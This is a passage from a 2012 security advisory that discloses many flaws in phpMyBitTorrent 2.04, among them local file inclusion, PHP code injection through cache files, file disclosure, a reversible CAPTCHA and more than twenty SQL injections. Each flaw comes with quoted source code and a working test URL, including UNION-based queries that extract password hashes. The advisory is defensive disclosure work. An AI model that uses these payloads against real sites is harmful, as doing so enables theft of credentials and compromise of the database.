[waraxe-2012-SA#091] - Multiple Vulnerabilities in phpMyBitTorrent 2.04 =============================================================================== Author: Janek Vind "waraxe" Date: 01. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-91.html Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ phpMyBitTorrent is the brand new Open Source solution for BitTorrent communities! phpMyBitTorrent is all written in PHP, uses the popular MySQL database and support every BitTorrent protocol extension. https://www.phpmybittorrent.com/ http://sourceforge.net/projects/phpmybittorrent/ ############################################################################### 1. Local File Inclusion in "include/config.php" ############################################################################### Reasons: insufficient sanitization of user-supplied data Attack vectors:  1. user-supplied cookie parameters "bttheme" and "btlanguage"  2. user-supplied parameter "theme_change" Preconditions:  1. magic_quotes_gpc=off  2. PHP must be < 5.3.4 for null-byte attacks to work PHP script "include/config.php" line 56: ------------------------[ source code start ]---------------------------------- if (!isset($_COOKIE["bttheme"])) $bttheme = ""; if (!isset($_COOKIE["btlanguage"])) $btlanguage = ""; ... if (isset($btlanguage) AND is_readable("language/".$btlanguage.".php"))   $language = $btlanguage; if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php"))   $theme = $bttheme; ... if (file_exists("./language/".$language.".php"))         require_once("./language/".$language.".php"); ... if (file_exists("./themes/".$theme."/main.php")) {         require_once("./themes/".$theme."/main.php"); ------------------------[ source code end ]------------------------------------ Test cookies: bttheme=../avatars/user/waraxe.jpg%00z; btlanguage=../avatars/user/waraxe.jpg%00z; PHP script "include/config.php" line 199: ------------------------[ source code start ]---------------------------------- if (isset($theme_change)){   $bttheme = $theme_change; ... if (isset($bttheme) AND is_readable("themes/".$bttheme."/main.php")) $theme =    $bttheme; ... if (file_exists("./themes/".$theme."/main.php")) {         require_once("./themes/".$theme."/main.php"); ------------------------[ source code end ]------------------------------------ Test: http://pmbt//?theme_change=../avatars/user/waraxe.jpg%00z ############################################################################### 2. Insecure cache file handling in "blocks/newestmember_block.php" ############################################################################### Reasons:  1. unrestricted direct access to the cache file  2. uninitialized variable "$newestmemberrecords" Attack vector: user-supplied parameter "newestmemberrecords" Preconditions: none Result:  1. last 5 registered users credentials leakage  2. attacker is able to inject php code to the cache file   PHP script "blocks/newestmember_block.php" line 35: ------------------------[ source code start ]---------------------------------- $file = "cache/cache_newestmemberblock.txt"; $expire = 60; // time in seconds if (file_exists($file) &&     filemtime($file) > (time() - $expire)) {     $newestmemberrecords = unserialize(file_get_contents($file)); }else{     $newestmemberquery = $db->sql_query("SELECT * FROM ".$db_prefix."_users        WHERE active = 1 AND ban ='0' ORDER BY id DESC LIMIT 5");         while ($newestmemberrecord = $db->sql_fetchrow($newestmemberquery) ) {         $newestmemberrecords[] = $newestmemberrecord;     }     $OUTPUT = serialize($newestmemberrecords);     $fp = fopen($file,"w");     fputs($fp, $OUTPUT);     fclose($fp); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/cache/cache_newestmemberblock.txt Result: -------------------------[ result start ]-------------------------------------- a:1:{i:0;a:116:{i:0;s:1:"1";s:2:"id";s:1:"1";i:1;s:6:"waraxe"; ... s:8:"password";s:32:"123456789123456789123456789abcde"; -------------------------[ result end ]---------------------------------------- As result, anyone can obtain usernames and hashed passwords of last 5 registered users and then try to crack md5 hashes or forge session cookies, resulting in account overtaking. Additionally it is possible to inject arbitrary data to the cache file, including php code: http://pmbt/?newestmemberrecords[][username]=waraxe After that let's look at cache file: http://pmbt/cache/cache_newestmemberblock.txt Result: -------------------------[ result start ]-------------------------------------- a:2:{i:0;a:1:{s:8:"username";s:24:"waraxe";} -------------------------[ result end ]---------------------------------------- Attacker can combine php code injection to cache file with Local File Inclusion vulnerabilities and obtain PHP-level access to remote system. ############################################################################### 3. Insecure cache file handling in "staff.php" ############################################################################### Reason: uninitialized variable "$staff_table" Attack vector: user-supplied parameter "staff_table" Preconditions: none Result: attacker is able to inject php code to the cache file   PHP script "staff.php" line 38: ------------------------[ source code start ]---------------------------------- $cache_file = "cache/staff.txt"; ... $staff_table[ $arr['level'] ] = $staff_table[ $arr['level'] ] ... $fp = fopen($cache_file, 'w'); fwrite($fp, serialize($staff_table)); fclose($fp); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/staff.php?staff_table[]= Result: http://pmbt/cache/staff.txt -------------------------[ result start ]-------------------------------------- a:2:{i:0;s:18:"";s:5:"admin";s:325:" -------------------------[ result end ]---------------------------------------- ############################################################################### 4. Remote File Disclosure in "ajax.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "torrent" Preconditions:  1. magic_quotes_gpc=off  2. PHP must be < 5.3.4 for null-byte attacks to work Result: attacker can disclose the contents of arbitrary files   PHP script "ajax.php" line 1770: ------------------------[ source code start ]---------------------------------- case 'view_nfo_page':{   $nfo = "";   $nf = fopen("torrent/".$_GET['torrent'].".nfo","rb");   while (!feof($nf)) $nfo .= fread($nf,100);   fclose($nf);   OpenTable("NFO");   echo "

".nl2br(str_replace(" "," ",htmlentities($nfo)))     ."

"; ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_nfo_page&torrent=../include/configdata.php%00z As result we can see various sensitive configuration data, including plaintext database credentials. ############################################################################### 5. Insecure CAPTCHA implementation in "gfxgen.php" ############################################################################### Reason: weak cryptography Result: automated tools can bypass CAPTCHA restrictions PHP script "gfxgen.php" line 34: ------------------------[ source code start ]---------------------------------- $code = base64_decode($_GET["code"]); $image = ImageCreateFromJPEG("include/code_bg.jpg"); $text_color = ImageColorAllocate($image, 80, 80, 80); Header("Content-type: image/jpeg"); ImageString ($image, 5, 12, 2, $code, $text_color); ImageJPEG($image, '', 75); ImageDestroy($image); ------------------------[ source code end ]------------------------------------ As we can see, reversible base64 encoding algorithm is used in default CAPTCHA implementation. Let's look at login page with enabled CAPTCHA: ------------------------[ source code start ]----------------------------------

Security Code
Security Code ------------------------[ source code end ]------------------------------------ Parameter "code" has value "Q0k2RE8=" and after base64 decoding we have "CI6DO" , so it's obvious, that current CAPTCHA impementation in phpMyBitTorrent is completely useless. ############################################################################### 6. Multiple SQL Injections in "ajax.php" ############################################################################### --># Case 1 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "username" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user Result: attacker can manipulate database queries   PHP script "ajax.php" line 165: ------------------------[ source code start ]---------------------------------- case "check_username": {  if (!$user->user) loginrequired("user",true); ...  // check for that username  $sql = "SELECT COUNT(`id`) FROM `".$db_prefix."_users` WHERE `username`   = '".$_GET['username']."'";  $res = $db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=check_username&username=war'axe --># Case 2 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "to" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 192: ------------------------[ source code start ]---------------------------------- case 'private__chat':{ ... $sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator,  U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)  as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON  S.user = U.id WHERE S.id_to ='".$to."' AND S.user = '".$user->id."' OR  S.user='".$to."' AND S.id_to ='".$user->id."' ORDER BY posted DESC LIMIT  ".$shout_config['shouts_to_show'].";";                 $shoutres = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=private__chat&to=-1'UNION+SELECT+1,2,@@version,4,5,6,7,8,9,10,11%23    --># Case 3 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "shotuser" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user with shout privileges Result: attacker can manipulate database queries   PHP script "ajax.php" line 368: ------------------------[ source code start ]---------------------------------- case 'view_shout':{ ... if(isset($shotuser)){  $privateonly = "WHERE S.id_to ='".$shotuser."' AND S.user =  '".$user->id."' OR  S.id_to ='".$user->id."' AND S.user = '".$shotuser."'"; ... $sql = "SELECT S.*, U.id as uid, U.can_do as can_do, U.donator AS donator, U.warned as warned, U.level as level, IF(U.name IS NULL, U.username, U.name)  as user_name FROM ".$db_prefix."_shouts S LEFT JOIN ".$db_prefix."_users U ON  S.user = U.id ".$privateonly." ORDER BY posted DESC LIMIT  ".$shout_config['shouts_to_show'].";"; $shoutres = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_shout&shotuser='UNION+SELECT+1,2,@@version,4,0,6,7,8,9,10,11%23 --># Case 4 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "shout" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 513: ------------------------[ source code start ]---------------------------------- case 'take_delete_shout':{   $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE   `id` = '".$_GET['shout']."'";   $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=take_delete_shout&shout=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 --># Case 5 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "shout" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 528: ------------------------[ source code start ]---------------------------------- case 'take_delete_archive_shout':{   $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE   `id` = '".$_GET['shout']."'";   $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=take_delete_archive_shout&shout=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 --># Case 6 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "shout" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 550: ------------------------[ source code start ]---------------------------------- case 'take_edit_shout':{ ...   $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE   `id` = '".$_GET['shout']."'";   $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=take_edit_shout&shout=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 --># Case 7 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "shout" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 572: ------------------------[ source code start ]---------------------------------- case 'take_edit_archive_shout':{ ...  $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE  `id` = '".$_GET['shout']."'";  $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=take_edit_archive_shout&shout=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 --># Case 8 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "pass" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user Result: attacker can manipulate database queries   PHP script "ajax.php" line 1116: ------------------------[ source code start ]---------------------------------- case 'view_peers_page':{ ...  $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id =   '".$_GET['torrent']."' AND (password IS NULL OR password =   '".$_GET["pass"]."') LIMIT 1;";  $res = $db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_peers_page&torrent=1&pass=war'axe --># Case 9 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "pass" Preconditions: none Result: attacker can manipulate database queries PHP script "ajax.php" line 1286: ------------------------[ source code start ]---------------------------------- case 'view_files_page':{ ...  $password= (isset($_GET["pass"]))? $_GET["pass"] : ''; ...  $password = urldecode($password);  $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND  (password IS NULL OR password = '".$password."') LIMIT 1;";  $res = $db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_files_page&torrent=1&pass=war%2527axe --># Case 10 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "torrent" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user Result: attacker can manipulate database queries PHP script "ajax.php" line 1340: ------------------------[ source code start ]---------------------------------- case 'view_rate_page':{ ... if ($_GET["owner"] != $user->id AND ($user->user)) {  $xres = $db->sql_query("SELECT rating, added FROM ".$db_prefix."_ratings WHERE  torrent = '".$_GET['torrent']."' AND user = '" . $user->id."'") or btsqlerror ... ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_rate_page&torrent=war'axe --># Case 11 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "torrent" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 1476: ------------------------[ source code start ]---------------------------------- case 'view_details_page':{ ...  $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed ...  WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";  $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_details_page&torrent=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe' GROUP BY A.id LIMIT 1' at line 1 --># Case 12 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "torrent" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 1783: ------------------------[ source code start ]---------------------------------- case 'view_details':{ ...  $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed ...  WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;";  $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=view_details&torrent=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe' GROUP BY A.id LIMIT 1' at line 1 --># Case 13 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "shout" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 2067: ------------------------[ source code start ]---------------------------------- case 'archivedeleteshout':{ $sql = "SELECT `text`, `user` FROM `".$db_prefix."_shouts` WHERE  `id` = '".$_GET['shout']."'"; $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=archivedeleteshout&shout=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 --># Case 14 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "torrent" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "ajax.php" line 2083: ------------------------[ source code start ]---------------------------------- case 'get_imdb':{ require ("imdb/imdb.class.php"); $sql = "SELECT A.id as id, A.exeem, A.seeders, A.leechers, A.tot_peer, A.speed ... WHERE A.id = '".$_GET['torrent']."' GROUP BY A.id LIMIT 1;"; $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=get_imdb&torrent=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe' GROUP BY A.id LIMIT 1' at line 1 --># Case 15 #<-- Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "search" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user Result: attacker can manipulate database queries   PHP script "ajax.php" line 2207: ------------------------[ source code start ]---------------------------------- case 'member_search':{ ... if ( isset( $_GET['search'] ) && !empty( $_GET['search'] ) ){  $query = "username LIKE ('%$search%') AND active='1'"; ... $res = mysql_query("SELECT COUNT(*) FROM ".$db_prefix."_users WHERE $query")  or sqlerr(); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/ajax.php?op=member_search&search=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe%') AND active='1' ############################################################################### 7. SQL Injection in "backend.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "cat" Preconditions: none Result: attacker can manipulate database queries   PHP script "backend.php" line 176: ------------------------[ source code start ]---------------------------------- case "category": { ...   $sql_cat = "SELECT name FROM ".$db_prefix."_categories   WHERE id = ".$cat."";   $res = $db->sql_query($sql_cat); ------------------------[ source code end ]------------------------------------ Tests: http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+@@version%23 http://pmbt/backend.php?op=category&cat=0+UNION+SELECT+password+FROM+ torrent_users+WHERE+id=1%23 ############################################################################### 8. SQL Injection in "casino_player_edit.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "player" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "casino_player_edit.php" line 36: ------------------------[ source code start ]---------------------------------- $result = $db->sql_query("select * from ".$db_prefix."_casino where userid =  '".$player."'") or die(mysql_error()); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/casino_player_edit.php?player=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 ############################################################################### 9. SQL Injection in "deloffer.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "offerid" Preconditions: none Result: attacker can manipulate database queries   PHP script "deloffer.php" line 34: ------------------------[ source code start ]---------------------------------- $id = $_POST["offerid"]; $res = $db->sql_query("SELECT userid, name from ".$db_prefix."_offers where  id=$id"); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------

--------------------------[ test code end ]------------------------------------ ############################################################################### 10. SQL Injection in "edit.php" ############################################################################### Reason:  1. insufficient sanitization of user-supplied data  2. uninitialized variable "$id" Attack vector: user-supplied parameters "torrent_id" and "id" Preconditions:  1. magic_quotes_gpc=off  2. logged in as user Result: attacker can manipulate database queries   PHP script "edit.php" line 37: ------------------------[ source code start ]---------------------------------- if (isset($torrent_id)) $id = $torrent_id; ... if (is_array($id)) { foreach($id as $item) { $sql = "SELECT owner,name FROM ".$db_prefix."_torrents WHERE id = '".$item."';"; $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/edit.php?id[]=war'axe http://pmbt/edit.php?torrent_id[]=war'axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe'' at line 1 ############################################################################### 11. SQL Injection in "frame.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "password" Preconditions: none Result: attacker can manipulate database queries PHP script "frame.php" line 80: ------------------------[ source code start ]---------------------------------- case "filelist": {  if (!isset($id) OR !is_numeric($id) OR $id < 1) error(_bterridnotset);  $password = urldecode($password);  $sql = "SELECT password FROM ".$db_prefix."_torrents WHERE id = '".$id."' AND   (password IS NULL OR password = '".$password."') LIMIT 1;";  $res = $db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Tests: http://pmbt/frame.php?op=filelist&id=1&password=war%2527axe http://pmbt/frame.php?op=commentlist&id=1&password=war%2527axe http://pmbt/frame.php?op=peerlist&id=1&password=war%2527axe Result: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'axe') LIMIT 1' at line 1 ############################################################################### 12. SQL Injection in "helpdesk.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameters "title", "problem", "category" and "priority" Preconditions:  1. magic_quotes_gpc=off (for parameters "title", "problem" and "priority") Result: attacker can manipulate database queries PHP script "helpdesk.php" line 120: ------------------------[ source code start ]---------------------------------- $problem = (isset($_POST["problem"])) ? trim($_POST["problem"]) : false; if ($op == "ticket" ){ ... $upd_sql = "INSERT INTO ".$db_prefix."_helpdesk (`uid`, `title`, `problem`,  `category`, `priority`, `open_date`) VALUES  ('".$user->id."', '".$title."',   '".$problem."', ".$category.", '".$priority."', NOW())"; $db->sql_query($upd_sql) or btsqlerror($upd_sql); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: Unknown column 'waraxe' in 'field list' ############################################################################### 13. SQL Injection in "hitruns.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "reset" and "warn" Preconditions: none Result: attacker can manipulate database queries   PHP script "hitruns.php" line 94: ------------------------[ source code start ]---------------------------------- if (isset($_POST["reset"])) { mysql_query("UPDATE ".$db_prefix."_snatched SET hitrun = '0000-00-00 00:00:00', hitrunwarn = 'no' WHERE id IN (".implode(", ", $_POST["reset"]).")") or sqlerr(); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: Unknown column 'waraxe' in 'field list' PHP script "hitruns.php" line 101: ------------------------[ source code start ]---------------------------------- } elseif (isset($_POST["warn"])) { $userids = $warnids = array(); $res = mysql_query("SELECT userid FROM ".$db_prefix."_snatched WHERE id IN (".implode(", ", $_POST["warn"]).")") or sqlerr(); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 14. SQL Injection in "makepoll.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "pollid", "question", "option0",  "option1","option2","option3","option4","option5","option6","option7",  "option8","option9", "sort" Preconditions:  1. magic_quotes_gpc=off (for parameters "question", "option0", "option1",   "option2","option3","option4","option5","option6","option7", "option8",   "option9", "sort") Result: attacker can manipulate database queries   PHP script "makepoll.php" line 54: ------------------------[ source code start ]---------------------------------- $pollid = $_POST["pollid"]; $question = $_POST["question"]; $option0 = $_POST["option0"]; $option1 = $_POST["option1"]; $option2 = $_POST["option2"]; $option3 = $_POST["option3"]; $option4 = $_POST["option4"]; $option5 = $_POST["option5"]; $option6 = $_POST["option6"]; $option7 = $_POST["option7"]; $option8 = $_POST["option8"]; $option9 = $_POST["option9"]; $sort = $_POST["sort"]; $returnto = $_POST["returnto"]; if (!$question || !$option0 || !$option1)   bterror(_btpolls_missing,_bterror); if ($pollid)           $db->sql_query("UPDATE ".$db_prefix."_polls SET " .         "question = '" . $question . "', " .         "option0 = '" . $option0 . "', " .         "option1 = '" . $option1 . "', " .         "option2 = '" . $option2 . "', " .         "option3 = '" . $option3 . "', " .         "option4 = '" . $option4 . "', " .         "option5 = '" . $option5 . "', " .         "option6 = '" . $option6 . "', " .         "option7 = '" . $option7 . "', " .         "option8 = '" . $option8 . "', " .         "option9 = '" . $option9 . "', " .         "sort = '" . $sort . "' " .     "WHERE id = $pollid") or die(mysql_error(__FILE__, __LINE__)); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 15. SQL Injection in "modrules.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "id" Preconditions: none Result: attacker can manipulate database queries   PHP script "modrules.php" line 40: ------------------------[ source code start ]---------------------------------- $id = (isset($_GET["id"]))? $_GET["id"] : ''; ... $sql = "DELETE FROM ".$db_prefix."_rules WHERE id = $id "; if (!$db->sql_query($sql)) btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/modrules.php?act=delete&id=waraxe Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 16. SQL Injection in "mybonus.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameter "option" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "mybonus.php" line 91: ------------------------[ source code start ]---------------------------------- if ($action == "exchange") { ... $option = $_POST["option"]; ... $sql = ("SELECT * FROM ".$db_prefix."_bonus WHERE id='$option'"); $res = $db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ ############################################################################### 17. SQL Injection in "problems.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameter "t" Preconditions: none Result: attacker can manipulate database queries   PHP script "problems.php" line 62: ------------------------[ source code start ]---------------------------------- if(isset($_POST['delete']) AND $_POST['delete']=='Delete') { foreach($t as $tid=>$action) { $db->sql_query("DELETE FROM `".$db_prefix."_helpdesk` WHERE `id` = ".$tid."   LIMIT 1"); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test code start ]-----------------------------------
--------------------------[ test code end ]------------------------------------ Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 18. SQL Injection in "polls.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "pollid" Preconditions: none Result: attacker can manipulate database queries   PHP script "polls.php" line 38: ------------------------[ source code start ]---------------------------------- $pollid = $_GET["pollid"]; ... $db->sql_query( "DELETE FROM ".$db_prefix."_pollanswers WHERE pollid = $pollid") or sqlerr(); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/polls.php?action=delete&sure=1&pollid=waraxe Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 19. SQL Injection in "scrape-external.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied GET parameter "tracker" Preconditions:  1. logged in as user  2. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "scrape-external.php" line 34: ------------------------[ source code start ]---------------------------------- $url2 =  $_GET["tracker"]; ... $sql = "SELECT url, support FROM ".$db_prefix."_trackers     WHERE url = '".$url2."' LIMIT 1;"; $res = $db->sql_query($sql) or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/scrape-external.php?id=1&tracker='UNION+SELECT+@@version,'1 ############################################################################### 20. SQL Injection in "shoutboxarchive.php" ############################################################################### Reason: uninitialized variable "$lookforcount" Attack vector: user-supplied parameter "lookforcount" Preconditions: none Result: attacker can manipulate database queries   PHP script "shoutboxarchive.php" line 77: ------------------------[ source code start ]---------------------------------- if(isset($search)) { ...   $lookforcount = $searchtime.$searchword.$uidsearch." AND "; } ... $totsql = "SELECT COUNT(*) as tot FROM ".$db_prefix."_shouts  WHERE ".$lookforcount."(id_to = '0' OR id_to = '".$user->id."');"; $totres = $db->sql_query($totsql)or btsqlerror($totsql); ------------------------[ source code end ]------------------------------------ Test: http://pmbt/shoutboxarchive.php?lookforcount=waraxe=1%23 Result: Unknown column 'waraxe' in 'where clause' ############################################################################### 21. SQL Injection in "slove.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameters "tid", "cid", "rid" and "id" Preconditions:  1. magic_quotes_gpc=off (for parameters "cid", "rid" and "id") Result: attacker can manipulate database queries   PHP script "slove.php" line 41: ------------------------[ source code start ]---------------------------------- $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET  `category`  = '".$cid."' WHERE `".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;"); ... $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `helper` = '$rid' WHERE  `".$db_prefix."_helpdesk`.`id` =".$tid." LIMIT 1 ;"); if(isset($trans_alert))$db->sql_query("INSERT INTO  ".$db_prefix."_private_messages (sent, sender, recipient, subject, text)   VALUES (NOW(), 0, $rid, 'Help Desk', '$msg')") ; ... $sql="SELECT * FROM ".$db_prefix."_helpdesk WHERE id='".$id."'"; $result=$db->sql_query($sql); ------------------------[ source code end ]------------------------------------ Tests: http://pmbt/slove.php?cid=1&tid=waraxe http://pmbt/slove.php?cid=war'axe&tid=1 http://pmbt/slove.php?tid=123&rid=war'axe http://pmbt/slove.php?trans_alert=1&rid=war'axe http://pmbt/slove.php?id=war'axe ############################################################################### 22. SQL Injection in "takehelpans.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied parameters "id" and "newstatus" Preconditions:  1. magic_quotes_gpc=off (for parameter "newstatus") Result: attacker can manipulate database queries   PHP script "takehelpans.php" line 34: ------------------------[ source code start ]---------------------------------- if(isset($reopen)) { $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `solved` = 'no' WHERE  `id` =".$id." LIMIT 1 ;"); ... if(isset($change_status)){ $db->sql_query("UPDATE `".$db_prefix."_helpdesk` SET `status` =  '".$newstatus."' WHERE `id` =".$id." LIMIT 1 ;"); ------------------------[ source code end ]------------------------------------ Tests: http://pmbt/takehelpans.php?reopen=1&id=waraxe http://pmbt/takehelpans.php?change_status=1&newstatus=war'axe ############################################################################### 23. SQL Injection in "takeoffedit.php" ############################################################################### Reason: insufficient sanitization of user-supplied data Attack vector: user-supplied POST parameters "id" and "category" Preconditions:  1. magic_quotes_gpc=off Result: attacker can manipulate database queries   PHP script "takeoffedit.php" line 35: ------------------------[ source code start ]---------------------------------- $id = $_POST["id"]; ... $cat = $_POST["category"]; ... $sql = "UPDATE ".$db_prefix."_offers SET category='".$cat."',  name='".$db->sql_escape($name)."', descr='".$db->sql_escape($msg)."'  where id='".$id."'"; $db->sql_query($sql)or btsqlerror($sql); ------------------------[ source code end ]------------------------------------ Test: -------------------------[ test 